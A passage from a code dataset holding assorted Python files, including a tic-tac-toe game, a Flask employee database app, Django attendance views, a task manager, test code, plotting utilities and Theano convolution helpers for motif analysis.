\"-\"\r\n column_2 = board[1] == board[4] == board[7] != \"-\"\r\n column_3 = board[2] == board[5] == board[8] != \"-\"\r\n\r\n if column_1 or column_2 or column_3:\r\n game_active = False\r\n\r\n if column_1:\r\n return board[0]\r\n\r\n elif column_2:\r\n return board[1]\r\n\r\n elif column_3:\r\n return board[2]\r\n\r\n return\r\n\r\ndef check_diagonals():\r\n global game_active\r\n\r\n diagonal_1 = board[0] == board[4] == board[8] != \"-\"\r\n diagonal_2 = board[2] == board[4] == board[6] != \"-\"\r\n\r\n if diagonal_1 or diagonal_2 :\r\n game_active = False\r\n\r\n if diagonal_1:\r\n return board[0]\r\n\r\n elif diagonal_2:\r\n return board[2]\r\n\r\n return\r\n\r\n\r\ndef check_tie():\r\n global game_active\r\n\r\n if \"-\" not in board:\r\n game_active=False\r\n \r\n return\r\n\r\n\r\ndef change_player():\r\n global current\r\n\r\n if current==\"X\":\r\n current=\"O\"\r\n\r\n elif current==\"O\":\r\n current=\"X\"\r\n return\r\n\r\ndef get_players():\r\n global player1,player2\r\n player1=input(\"Enter name of player 1 : \")\r\n player2=input(\"Enter name of player 2 : \")\r\n print(player1,\" is X\")\r\n print(player2,\" is O\")\r\n\r\n\r\nplay_game()","sub_path":"game2.py","file_name":"game2.py","file_ext":"py","file_size_in_byte":3457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"434257105","text":"from flask import Flask, render_template, request, redirect, url_for, flash\nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import datetime\n\napp = Flask(__name__)\napp.secret_key = \"Secret Key\"\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://root:password123@localhost/employees'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n#initializing database\ndb = SQLAlchemy(app)\n\n#database model -> database table creation\nclass employees_data(db.Model):\n id = db.Column(db.Integer, primary_key = True)\n name = db.Column(db.String(150), nullable = False)\n address = db.Column(db.String(150), nullable = False)\n mobile = db.Column(db.String(20), nullable = False)\n email = db.Column(db.String(100), nullable = False, unique = True)\n sss = db.Column(db.String(15), nullable = False)\n pagibig = db.Column(db.String(15), nullable = False)\n philhealth = db.Column(db.String(15), nullable = False)\n hired = db.Column(db.Date, nullable = False)\n status = db.Column(db.String(150), nullable = False)\n remarks = db.Column(db.String(250), nullable = False)\n\n def __init__(self, id, name, address, mobile, email, sss, pagibig, philhealth, hired, status, remarks):\n self.id = id\n self.name = name\n self.address = address\n self.mobile = mobile\n self.email = email\n self.sss = sss\n self.pagibig = pagibig\n self.philhealth = philhealth\n self.hired = hired\n self.status = status\n self.remarks = remarks\n\n@app.route(\"/\")\ndef index():\n all_data = employees_data.query.all()\n return render_template(\"index.html\", employees = all_data)\n\n@app.route('/insert', methods = ['POST'])\ndef insert():\n if request.method == 'POST':\n id = request.form['id']\n name = request.form['name']\n address = request.form['address']\n mobile = request.form['mobile']\n email = request.form['email']\n sss = request.form['sss']\n pagibig = request.form['pagibig']\n philhealth = request.form['philhealth']\n hired = request.form['hired']\n status = request.form['status']\n remarks = request.form['remarks']\n\n my_data = employees_data(id, name, address, mobile, email, sss, pagibig, philhealth, hired, status, remarks)\n db.session.add(my_data)\n db.session.commit()\n\n flash(\"Employee Inserted Successfully\")\n return redirect(url_for('index'))\n\n@app.route('/update', methods = ['GET', 'POST'])\ndef update():\n if request.method == 'POST':\n my_data = employees_data.query.get(request.form.get('id'))\n\n my_data.id = request.form['id']\n my_data.name = request.form['name']\n my_data.address = request.form['address']\n my_data.mobile = request.form['mobile']\n my_data.email = request.form['email']\n my_data.sss = request.form['sss']\n my_data.pagibig = request.form['pagibig']\n my_data.philhealth = request.form['philhealth']\n my_data.hired = request.form['hired']\n my_data.status = request.form['status']\n my_data.remarks = request.form['remarks']\n\n db.session.commit()\n\n flash(\"Employee Updated Successfully\")\n return redirect(url_for('index'))\n\n#error pages\n@app.errorhandler(404)\ndef page_not_found(e):\n return render_template(\"error.html\"), 404\n\n@app.errorhandler(500)\ndef page_not_found(e):\n return render_template(\"error.html\"), 500\n\nif __name__== \"__main__\":\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"440696900","text":"# -*- coding: utf-8 -*-\nimport logging\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import redirect\nfrom .models import Asistencia, Motivo\nfrom django.shortcuts import get_object_or_404\nfrom django.http import HttpResponse\nfrom apps.alumnos.models import Alumno\nfrom apps.cursos.models import Curso\nfrom django.views.generic import CreateView\nfrom django.views.generic import ListView\nfrom django.views.generic import DeleteView\nfrom django.views.generic import UpdateView\nfrom django.views.generic import TemplateView\nfrom django_datatables_view.base_datatable_view import BaseDatatableView\nfrom django.db.models import Q\nfrom django.conf import settings\n\nlogger = logging.getLogger(__name__)\n\nclass AsistenciaAlta(TemplateView):\n model = Asistencia\n success_url = '/asistencia/listado'\n template_name = 'asistencias/asistencia_ajax.html'\n\n def get_context_data(self, *args, **kwargs):\n extra_context = super(AsistenciaAlta, self).get_context_data(*args, **kwargs)\n extra_context = {\n \"alumnos_list\": Alumno.objects.filter(cursos__id=self.kwargs['pk']),\n \"motivos_list\": Motivo.objects.all(),\n \"cursos_list\": Curso.objects.all(),\n \"cur_list\": Motivo.objects.all(),\n }\n\n return extra_context\n\n def form_valid(self, form):\n self.object = form.save()\n return HttpResponseRedirect(self.get_success_url())\n\n\nclass AsistenciaListado(ListView):\n model = Asistencia\n\n\nclass OrderListJson(BaseDatatableView):\n model = Asistencia\n columns = ['id', 'alumno', 'fecha', 'motivo']\n order_columns = ['id', 'alumno', 'fecha', 'motivo']\n max_display_length = 100\n pre_camel_case_notation = False\n\n def initialize(self, *args, **kwargs):\n if 'iSortingCols' in self.request.REQUEST:\n self.pre_camel_case_notation = True\n\n def render_column(self, row, column):\n \"\"\" Renders a column on a row\n \"\"\"\n if hasattr(row, 'get_%s_display' % column):\n # It's a choice field\n text = getattr(row, 'get_%s_display' % column)()\n else:\n try:\n text = getattr(row, column)\n except AttributeError:\n obj = row\n for part in column.split('.'):\n if obj is None:\n break\n obj = getattr(obj, part)\n text = obj\n\n if hasattr(row, 'get_absolute_url'):\n if column == 'id':\n return '%s' % (row.get_absolute_url(), text)\n else:\n return '%s' % (text)\n else:\n return text\n\n def get_order_columns(self):\n \"\"\" Return list of columns used for ordering\n \"\"\"\n return self.order_columns\n\n def filter_queryset(self, qs):\n \"\"\" If search['value'] is provided then filter all searchable columns using istartswith\n \"\"\"\n if not self.pre_camel_case_notation:\n # get global search value\n search = self.request.GET.get('search[value]', None)\n col_data = self.extract_datatables_column_data()\n q = Q()\n for col_no, col in enumerate(col_data):\n # apply global search to all searchable columns\n if search and col['searchable']:\n q |= Q(**{'alumno__apellido__istartswith'.format(self.columns[col_no]): search})\n # column specific filter\n if col['search.value']:\n qs = qs.filter(**{'alumno__apellido__istartswith'.format(self.columns[col_no]): col['search.value']})\n qs = qs.filter(q)\n return qs\n\n def ordering(self, qs):\n \"\"\" Get parameters from the request and prepare order by clause\n \"\"\"\n request = self.request\n\n ## Number of columns that are used in sorting\n sorting_cols = 0\n if self.pre_camel_case_notation:\n try:\n sorting_cols = int(request.REQUEST.get('iSortingCols', 0))\n except ValueError:\n sorting_cols = 0\n else:\n sort_key = 'order[{0}][column]'.format(sorting_cols)\n while sort_key in self.request.REQUEST:\n sorting_cols += 1\n sort_key = 'order[{0}][column]'.format(sorting_cols)\n\n order = []\n order_columns = self.get_order_columns()\n\n for i in range(sorting_cols):\n # sorting column\n sort_dir = 'asc'\n try:\n if self.pre_camel_case_notation:\n sort_col = int(request.REQUEST.get('iSortCol_{0}'.format(i)))\n # sorting order\n sort_dir = request.REQUEST.get('sSortDir_{0}'.format(i))\n else:\n sort_col = int(request.REQUEST.get('order[{0}][column]'.format(i)))\n # sorting order\n sort_dir = request.REQUEST.get('order[{0}][dir]'.format(i))\n except ValueError:\n sort_col = 0\n\n sdir = '-' if sort_dir == 'desc' else ''\n sortcol = order_columns[sort_col]\n\n if isinstance(sortcol, list):\n for sc in sortcol:\n order.append('{0}{1}'.format(sdir, sc.replace('.', '__')))\n else:\n order.append('{0}{1}'.format(sdir, sortcol.replace('.', '__')))\n\n if order:\n return qs.order_by(*order)\n return qs\n\n def get_initial_queryset(self):\n if not self.model:\n raise NotImplementedError(\"Need to provide a model or implement get_initial_queryset!\")\n return self.model.objects.all()\n\n def prepare_results(self, qs):\n data = []\n for item in qs:\n #item.dni = item.get_absolute_url()\n data.append([self.render_column(item, column) for column in self.get_columns()])\n return data\n\n def get_context_data(self, *args, **kwargs):\n request = self.request\n try:\n self.initialize(*args, **kwargs)\n\n qs = self.get_initial_queryset()\n\n # number of records before filtering\n total_records = qs.count()\n\n qs = self.filter_queryset(qs)\n\n # number of records after filtering\n total_display_records = qs.count()\n\n qs = self.ordering(qs)\n qs = self.paging(qs)\n\n # prepare output data\n if self.pre_camel_case_notation:\n aaData = self.prepare_results(qs)\n\n ret = {'sEcho': int(request.REQUEST.get('sEcho', 0)),\n 'iTotalRecords': total_records,\n 'iTotalDisplayRecords': total_display_records,\n 'aaData': aaData\n }\n else:\n data = self.prepare_results(qs)\n\n ret = {'draw': int(request.REQUEST.get('draw', 0)),\n 'recordsTotal': total_records,\n 'recordsFiltered': total_display_records,\n 'data': data\n }\n except Exception as e:\n logger.exception(str(e))\n\n if settings.DEBUG:\n import sys\n from django.views.debug import ExceptionReporter\n reporter = ExceptionReporter(None, *sys.exc_info())\n text = \"\\n\" + reporter.get_traceback_text()\n else:\n text = \"\\nAn error occured while processing an AJAX request.\"\n\n if self.pre_camel_case_notation:\n ret = {'result': 'error',\n 'sError': text,\n 'text': text,\n 'aaData': [],\n 'sEcho': int(request.REQUEST.get('sEcho', 0)),\n 'iTotalRecords': 0,\n 'iTotalDisplayRecords': 0, }\n else:\n ret = {'error': text,\n 'data': [],\n 'recordsTotal': 0,\n 'recordsFiltered': 0,\n 'draw': int(request.REQUEST.get('draw', 0))}\n return ret\n\n\n\nclass AsistenciaBaja(DeleteView):\n model = Asistencia\n success_url = '/asistencia/listado'\n\n\nclass AsistenciaModi(UpdateView):\n template_name = 'asistencias/asistencia_form.html'\n model = Asistencia\n success_url = '/asistencia/listado'\n\n\nclass Alumnos(TemplateView):\n\n def post(self, request, *args, **kwargs):\n alumnos = request.POST['alumnos_list']\n alumnos_list = alumnos.split()\n fecha_list = request.POST['id_fecha'].split(\"/\")\n fecha_post = str(fecha_list[2]) + \"-\" + str(fecha_list[1]) + \"-\" + str(fecha_list[0])\n motivo_post = request.POST['id_motivo']\n for alumno in alumnos_list:\n Asistencia.objects.create(\n alumno=Alumno.objects.get(pk=alumno),\n fecha=fecha_post,\n motivo=Motivo.objects.get(pk=motivo_post)\n )\n\n return redirect('/asistencia/listado/')","sub_path":"apps/asistencias/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"43962588","text":"scelta=0\nn_task=0\ntask=[]\nfrom sys import argv\nfp= argv[1]\ntxt= open(fp)\nfor strng in txt.read().splitlines():\n task.append(strng)\n n_task+=1\nwhile scelta!=4:\n print(\"Task Manager\")\n print(\"1. Insert a new task (a string of text)\")\n print(\"2. Remove a task (by typing a substring of its content)\")\n print(\"3. Show all existing tasks, sorted in alphabetic order\")\n print(\"4. Close the program\")\n scelta=int(input(\"Make your choice: \"))\n if(scelta==1):\n task.append(input(\"Insert task's content: \"))\n n_task+=1\n elif(scelta==2):\n if(n_task<=0):\n print(\"No tasks\")\n else:\n ctrl= input(\"Insert task's substring: \")\n for strng in task:\n if ctrl in strng:\n task.remove(strng)\n elif(scelta==3):\n if (n_task <= 0):\n print(\"No tasks\")\n else:\n print(sorted(task))\n elif(scelta==4):\n print(\"The End\")\n txt.close()\n txt= open(fp, \"w\")\n for strng in task:\n txt.write(strng+\"\\n\")\n txt.close()","sub_path":"python_file3.py","file_name":"python_file3.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"256814454","text":"from copy import deepcopy\n\nfrom d3graph import d3graph\n\n\ndef test_instantiate_d3graph_no_args() -> None:\n \"\"\"Test instantiation works with defaults\"\"\"\n d3 = d3graph()\n assert isinstance(d3, type(d3graph()))\n\n\ndef test_clean(d3, helpers) -> None:\n \"\"\"Test _clean method deletes the attributes in clean_fields\"\"\"\n clean_fields: tuple = ('adjmat', 'config', 'edge_properties', 'G', 'node_properties')\n\n # Set attrs to dummy value (i.e., 0) and assert they exist in the object\n original_attrs = {field: 0 for field in clean_fields}\n d3_og = helpers.setattrs(obj=d3, **original_attrs)\n\n # Make a copy of the object and apply _clean()\n d3_new = deepcopy(d3_og)\n d3_new._clean()\n\n assert len([attr for attr in vars(d3_og) if attr in clean_fields]) == len(clean_fields)\n assert all(isinstance(i, int) for i in map(vars(d3_og).get, clean_fields))\n assert not [attr for attr in vars(d3_new) if attr in clean_fields]\n assert not any(hasattr(d3_new, attr) for attr in vars(d3_new) if attr in clean_fields)\n \n","sub_path":"tests/test_d3graph.py","file_name":"test_d3graph.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"83585420","text":"class user:\n def __init__(self,name,email,account_balance=0): #any parameter we didn't give it a defualt value it means that it is a mandatory and we should privide it when creating a new user, but if we give it a default value this means that it is optional and we don't have to give a value for it, if we didn't give it a value it will take the default one.\n self.name=name\n self.email=email\n self.account_balance=account_balance\n def make_deposite (self, amount):\n self.account_balance+=amount\n def make_withdrawal(self, amount=0):\n if amount <= self.account_balance:\n self.account_balance-=amount\n return True\n return False \n def display_user_balance(self):\n print(\"User Name: \"+self.name +\", User Balance: \"+ str(self.account_balance))\n def transfer_money(self, other_user, amount):\n if self.make_withdrawal(amount):\n other_user.make_deposite(amount)\n return True\n return False \n\nsahar =user(\"sahar\", \"murrarsahar@gmail.com\", 1200)\nsahar.make_deposite(500)\nsahar.display_user_balance()\nmomen = user(\"momen\", \"user2@gmial.com\", 2000)\nsahar.transfer_money(momen, 400)\n\nsahar.display_user_balance()\nmomen.display_user_balance()","sub_path":"_python/OOP/User/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"617476490","text":"import numpy as np\n\n\ndef compute_angle_weights_1d(angles):\n \"\"\"\n Compute the weight for each angle according to the distance between its\n neighbors.\n Parameters\n ----------\n angles: 1d ndarray of length A\n Angles in radians\n Returns\n -------\n weights: 1d ndarray of length A\n The weights for each angle\n Notes\n -----\n To compute the weights, the angles are set modulo PI, not modulo 2PI.\n This reduces artifacts when the angular coverage is between PI and 2PI\n but does not affect the result when the angles cover the full 2PI interval.\n \"\"\"\n # copy and modulo np.pi\n # This is an array with values in [0, np.pi)\n angles = (angles.flatten() - angles.min()) % (np.pi)\n # sort the array\n sortargs = np.argsort(angles)\n sortangl = angles[sortargs]\n # compute weights for sorted angles\n da = (np.roll(sortangl, -1) - np.roll(sortangl, 1)) % (np.pi)\n weights = da/np.sum(da)*da.shape[0]\n\n unsortweights = np.zeros_like(weights)\n # Sort everything back where it belongs\n unsortweights[sortargs] = weights\n return unsortweights\n","sub_path":"odtbrain/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"222232029","text":"from matplotlib.pylab import plt\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\n\nimport matplotlib.patches as patches\n\nimport plotly.figure_factory as ff\n\nimport matplotlib._color_data as mcd\nimport matplotlib.dates as mdates\nfrom IPython.display import display\n\n\ndef displaycontent(dataset):\n if not (hasattr(dataset, 'sensor_events')):\n return\n print('sensor events:')\n display(dataset.sensor_events.iloc[20:25])\n print('activity_events:')\n display(dataset.activity_events.loc[1:1])\n print('sensor_desc:')\n display(dataset.sensor_desc.iloc[1:3])\n print(\"Activites: \", dataset.activities)\n for a, v in dataset.activities_map.items():\n items = dataset.activity_events.loc[dataset.activity_events['Activity'] == a]['Duration']\n # print(a,v)\n # display(items.describe())\n print(a, v, '\\t--> count=', items.count(), ' avg duration=', str(items.mean()))\n x = dataset.activity_events.copy()\n x['Duration'] = x['Duration'].dt.seconds\n x.boxplot(by='Activity', column='Duration')\n\n\n# loadA4HDataSet()\n# loadVanKasterenDataset()\n# loadKaryoAdlNormalDataset();\n# display()\n\n\ndef view(dataset, i):\n if not (hasattr(dataset, 'sensor_events')):\n return\n tmp_act_evants = dataset.activity_events.loc[dataset.activity_events['Activity'] == i]\n\n print(dataset.activities_map[i])\n print(tmp_act_evants['Duration'].describe())\n if len(tmp_act_evants) == 0:\n return\n\n fig = plt.figure()\n\n tmp_act_evants['StartTime'].iloc[0]\n all = pd.DataFrame()\n for index, row in tmp_act_evants.iterrows():\n myse = dataset.sensor_events.loc[(dataset.sensor_events['time'] >= row['StartTime']) & (dataset.sensor_events['time'] <= row['EndTime'])].copy()\n myse['relative'] = dataset.sensor_events['time'] - row['StartTime']\n myse['hit time'] = myse['relative'] / row['Duration']\n all = pd.concat([all, myse[['hit time', 'SID']]])\n # plt.scatter(myse['hit time'],myse['SID'])\n\n tmp = all.copy()\n\n tmp['hit time'] = (tmp['hit time'] * 2).round(0) / 2\n fig = plt.figure(figsize=(10, 5))\n a = pd.pivot_table(tmp, columns='hit time', index='SID', aggfunc=np.count_nonzero, fill_value=0)\n a = a / a.max()\n # plt.imshow(a, cmap='hot', interpolation='nearest')\n ax = plt.axes()\n sns.heatmap(a / a.max(), cmap=sns.cm.rocket_r, ax=ax)\n ax.set_title(dataset.activities_map[i])\n\n\n# view(5)\n\n\ndef plotAct(dataset, acts):\n firstacts = acts.iloc[0]\n acts = acts.loc[acts['StartTime'] < firstacts['StartTime'] + pd.Timedelta('7d')]\n lastact = acts.iloc[-1]\n lastactinDay = acts.loc[acts['StartTime'] < firstacts['StartTime'] + pd.Timedelta('20h')].iloc[-1]\n\n # for a in dataset.activities:\n # acts = acts.append({\n # 'Activity': dataset.activities_map_inverse[a],\n # 'StartTime': firstacts['StartTime'],\n # 'EndTime': firstacts['StartTime']\n # },\n # ignore_index=True)\n\n acts = acts.sort_values(by='Activity')\n\n df2 = acts.apply(lambda x: dict(Task=dataset.activities_map[x.Activity], Color=0, Start=x.StartTime, Finish=x.EndTime), axis=1).tolist()\n # configure_plotly_browser_state()\n # init_notebook_mode(connected=False)\n # fig=ff.create_gantt(df2, index_col='Color', group_tasks=True)\n\n fig = ff.create_gantt(df2, group_tasks=True)\n fig['layout'].update(margin=dict(l=150))\n fig['layout'].update(xaxis=dict(range=[firstacts['StartTime'], lastactinDay['EndTime']],\n rangeselector=dict(buttons=list([\n dict(count=4, label='4h', step='hour', stepmode='backward'),\n dict(count=6, label='6h', step='hour', stepmode='backward'),\n dict(count=8, label='8h', step='hour', stepmode='backward'),\n dict(count=10, label='10h', step='hour', stepmode='backward'),\n dict(count=12, label='12h', step='hour', stepmode='backward'),\n dict(count=1, label='1d', step='day', stepmode='backward'),\n dict(count=5, label='5d', step='day', stepmode='backward'),\n dict(step='all')\n ])),\n rangeslider=dict(\n visible=True,\n range=[firstacts['StartTime'], lastact['EndTime']],\n )))\n\n fig.show()\n\n\ndef sensor_hitmap(dataset):\n if not (hasattr(dataset, 'sensor_events')):\n return\n actscount = len(dataset.activities)\n import matplotlib.pyplot as plt\n\n fig, subplots = plt.subplots((actscount - 1) // 4 + 1, 4, sharex=True, sharey=True,figsize=(10,12))\n subplots = subplots.reshape(-1)\n for i in dataset.activities_map:\n tmp_act_evants = dataset.activity_events.loc[dataset.activity_events['Activity'] == i]\n\n # print(dataset.activities_map[i])\n # print(tmp_act_evants['Duration'].describe())\n if len(tmp_act_evants) == 0:\n continue\n\n # fig = plt.figure()\n\n # tmp_act_evants['StartTime'].iloc[0]\n all = pd.DataFrame()\n for index, row in tmp_act_evants.iterrows():\n myse = dataset.sensor_events.loc[(dataset.sensor_events['time'] >= row['StartTime']) & (dataset.sensor_events['time'] <= row['EndTime'])].copy()\n myse['relative'] = dataset.sensor_events['time'] - row['StartTime']\n myse['hit time'] = myse['relative'] / row['Duration']\n all = pd.concat([all, myse[['hit time', 'SID']]])\n # plt.scatter(myse['hit time'],myse['SID'])\n\n tmp = all.copy()\n\n tmp['hit time'] = (tmp['hit time'] * 2).round(0) / 2\n fig = plt.figure(figsize=(10, 5))\n a = pd.pivot_table(tmp, columns='hit time', index='SID', aggfunc=np.count_nonzero, fill_value=0)\n a = a / a.max()\n # plt.imshow(a, cmap='hot', interpolation='nearest')\n ax = subplots[i]\n sns.heatmap(a / a.max(), cmap=sns.cm.rocket_r, ax=ax)\n ax.set_title(dataset.activities_map[i])\n","sub_path":"result_analyse/dataset_viewer.py","file_name":"dataset_viewer.py","file_ext":"py","file_size_in_byte":6285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"31026932","text":"import os\nimport signal\nimport deeplift\nimport numpy as np\nimport deeplift.backend as B\nimport theano\nimport theano.tensor.signal.conv\nimport h5py\nimport traceback\ndef create_detector_from_subset_of_sequential_layers(sequential_container,\n idx_of_layer_of_interest,\n channel_indices,\n multipliers_on_channels):\n layers = [] \n #this adds in all the layers preceeding idx_of_layer_of_interest\n #(remember zero-based indexing...)\n for layer_idx in range(idx_of_layer_of_interest):\n layers.append(\n sequential_container.get_layers()[layer_idx].copy_blob_keep_params()\n )\n #add in the layer of interest, but with the channels subsetted to\n #the channels of interest\n layer_to_subset = sequential_container.get_layers()\\\n [idx_of_layer_of_interest]\n assert hasattr(layer_to_subset, \"W\"), \"Layer does not have weights - \"\\\n +\" make sure you have supplied the correct index for the conv layer?\"\n subsetted_weights = layer_to_subset.W[channel_indices]\n subsetted_biases = layer_to_subset.b[channel_indices]\n layer_kwargs = layer_to_subset.get_yaml_compatible_object_kwargs()\n layer_kwargs['W'] = subsetted_weights \n layer_kwargs['b'] = subsetted_biases\n subsetted_layer = layer_to_subset.\\\n load_blob_from_yaml_contents_only(**layer_kwargs)\n layers.append(subsetted_layer)\n #check if the next layer is an activation layer\n layer_after_layer_of_interest =\\\n sequential_container.get_layers()[idx_of_layer_of_interest+1]\n if isinstance(layer_after_layer_of_interest, deeplift.blobs.Activation):\n layers.append(layer_after_layer_of_interest.copy_blob_keep_params())\n #multipliers_layer = sequential_container.get_layers()[layer_idx+1].copy_blob_keep_params()\n #add in a layer with a conv filter that is the multipliers\n #need to be reversed because this is doing a convolution, not cross corr\n multipliers_layer = deeplift.blobs.Conv2D(\n name=\"multipliers_layer\",\n W=multipliers_on_channels[:,:,::-1,::-1].astype('float32'),\n b=np.zeros(multipliers_on_channels.shape[0])\\\n .astype('float32'),\n strides=(1,1), \n border_mode=B.BorderMode.valid)\n layers.append(multipliers_layer)\n deeplift.util.connect_list_of_layers(layers)\n layers[-1].build_fwd_pass_vars()\n model_to_return = deeplift.models.SequentialModel(layers=layers)\n model_to_return.get_layers()\n return model_to_return\ndef get_conv_out_symbolic_var(input_var,\n set_of_2d_patterns_to_conv_with,\n normalise_by_magnitude,\n take_max,\n mode='full'):\n assert len(set_of_2d_patterns_to_conv_with.shape)==3\n if (normalise_by_magnitude):\n set_of_2d_patterns_to_conv_with =\\\n set_of_2d_patterns_to_conv_with/\\\n (np.sqrt(np.sum(np.sum(np.square(set_of_2d_patterns_to_conv_with),\n axis=-1),\n axis=-1))[:,None,None])\n set_of_2d_patterns_to_conv_with = np.expand_dims(set_of_2d_patterns_to_conv_with, 1)\n filters = theano.tensor.as_tensor_variable(\n x=set_of_2d_patterns_to_conv_with,\n name=\"filters\")\n conv_out = theano.tensor.nnet.conv2d(\n input=input_var,\n filters=filters,\n border_mode=mode)\n if (normalise_by_magnitude):\n sum_squares_per_pos =\\\n theano.tensor.nnet.conv2d(\n input=theano.tensor.square(input_var),\n filters=np.ones(set_of_2d_patterns_to_conv_with.shape)\\\n .astype(\"float32\"),\n border_mode=mode) \n per_pos_magnitude = theano.tensor.sqrt(sum_squares_per_pos)\n per_pos_magnitude += 0.0000001*(per_pos_magnitude < 0.0000001)\n conv_out = conv_out/per_pos_magnitude\n if (take_max):\n conv_out = theano.tensor.max(\n theano.tensor.max(conv_out, axis=-1), #max over cols\n axis=-1) #max over rows\n return conv_out \ndef compile_conv_func_with_theano(set_of_2d_patterns_to_conv_with,\n normalise_by_magnitude=False,\n take_max=False,\n mode='full'):\n # input_var = theano.tensor.TensorType(dtype=theano.config.floatX,\n # broadcastable=[False]*3)(\"input\")\n input_var = theano.tensor.TensorType(dtype=theano.config.floatX,\n broadcastable=[False, True, False, False])(\"input\")\n conv_out = get_conv_out_symbolic_var(input_var,\n set_of_2d_patterns_to_conv_with,\n normalise_by_magnitude=normalise_by_magnitude,\n take_max=take_max,\n mode=mode)\n func = theano.function([input_var],\n conv_out,\n allow_input_downcast=True)\n return func \ndef get_max_cross_corr(filters, things_to_scan,\n verbose=True, batch_size=10,\n func_params_size=1000000,\n progress_update=1000,\n min_overlap=0.3):\n \"\"\"\n func_params_size: when compiling functions\n \"\"\"\n #reverse the patterns as the func is a conv not a cross corr\n filters = filters.astype(\"float32\")[:,::-1,::-1]\n to_return = np.zeros((filters.shape[0], len(things_to_scan)))\n #compile the number of filters that result in a function with\n #params equal to func_params_size \n params_per_filter = np.prod(filters[0].shape)\n filter_batch_size = int(func_params_size/params_per_filter)\n filter_length = filters.shape[-1]\n filter_idx = 0 \n while filter_idx < filters.shape[0]:\n if (verbose):\n print(\"On filters\",filter_idx,\"to\",(filter_idx+filter_batch_size))\n filter_batch = filters[filter_idx:(filter_idx+filter_batch_size)]\n cross_corr_func = compile_conv_func_with_theano(\n set_of_2d_patterns_to_conv_with=filter_batch,\n normalise_by_magnitude=False,\n take_max=True) \n padding_amount = int((filter_length)*(1-min_overlap))\n padded_input = np.expand_dims(np.array([np.pad(array=x,\n pad_width=((padding_amount, padding_amount)),\n mode=\"constant\") for x in things_to_scan]), axis=1)\n max_cross_corrs = np.array(deeplift.util.run_function_in_batches(\n func=cross_corr_func,\n input_data_list=[padded_input],\n batch_size=batch_size,\n progress_update=(None if verbose==False else\n progress_update)))\n assert len(max_cross_corrs.shape)==2, max_cross_corrs.shape\n to_return[filter_idx:\n (filter_idx+filter_batch_size),:] =\\\n np.transpose(max_cross_corrs)\n filter_idx += filter_batch_size\n \n return to_return\ndef get_full_cross_corr(filters, things_to_scan,\n verbose=True, batch_size=10,\n func_params_size=1000000,\n progress_update=1000,\n min_overlap=1,\n mode='valid'):\n \"\"\"\n func_params_size: when compiling functions\n \"\"\"\n #reverse the patterns as the func is a conv not a cross corr\n filters = filters.astype(\"float32\")[:,::-1,::-1]\n # padding_amount0 = int((filters[0].shape[-1])*(1-min_overlap))\n if mode == 'valid':\n num_xcor_sites = things_to_scan[0].shape[-1]-filters[0].shape[-1]+1\n elif mode == 'full':\n num_xcor_sites = things_to_scan[0].shape[-1]+filters[0].shape[-1]-1 \n to_return = np.zeros((filters.shape[0], len(things_to_scan), num_xcor_sites))\n #compile the number of filters that result in a function with\n #params equal to func_params_size \n params_per_filter = np.prod(filters[0].shape)\n filter_batch_size = int(func_params_size/params_per_filter)\n filter_length = filters.shape[-1]\n filter_idx = 0 \n while filter_idx < filters.shape[0]:\n if (verbose):\n print(\"On filters\",filter_idx,\"to\",(filter_idx+filter_batch_size))\n filter_batch = filters[filter_idx:(filter_idx+filter_batch_size)]\n cross_corr_func = compile_conv_func_with_theano(\n set_of_2d_patterns_to_conv_with=filter_batch,\n normalise_by_magnitude=False,\n take_max=False,\n mode=mode) \n padding_amount = int((filter_length)*(1-min_overlap))\n padded_input = [np.pad(array=x,\n pad_width=((padding_amount, padding_amount)),\n mode=\"constant\") for x in things_to_scan]\n all_cross_corrs = np.array(deeplift.util.run_function_in_batches(\n func=cross_corr_func,\n input_data_list=[padded_input],\n batch_size=batch_size,\n progress_update=(None if verbose==False else\n progress_update)))\n all_cross_corrs_max = all_cross_corrs.max(axis=2)\n assert len(all_cross_corrs_max.shape)==3, all_cross_corrs_max.shape\n to_return[filter_idx:\n (filter_idx+filter_batch_size),:,:] =\\\n np.transpose(all_cross_corrs_max, axes=[1,0,2])\n filter_idx += filter_batch_size\n \n return to_return\n","sub_path":"deeplearn/scripts/modisco_util.py","file_name":"modisco_util.py","file_ext":"py","file_size_in_byte":10115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"419295991","text":"#!/usr/bin/env python -i\n# -*- coding: utf-8 -*-\n\"\"\"Utilities for this package.\"\"\"\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport os\n\nimport axonius_api_client as axonapi\n\nif __name__ == \"__main__\":\n axonapi.cli.cli_constants.load_dotenv()\n\n AX_URL = os.environ[\"AX_URL\"]\n AX_KEY = os.environ[\"AX_KEY\"]\n AX_SECRET = os.environ[\"AX_SECRET\"]\n AX_CLIENT_CERT_BOTH = os.environ.get(\"AX_CLIENT_CERT_BOTH\", None) or None\n AX_CLIENT_CERT_CERT = os.environ.get(\"AX_CLIENT_CERT_CERT\", None) or None\n AX_CLIENT_CERT_KEY = os.environ.get(\"AX_CLIENT_CERT_KEY\", None) or None\n\n def jdump(obj, **kwargs):\n \"\"\"JSON dump utility.\"\"\"\n print(axonapi.tools.json_reload(obj, 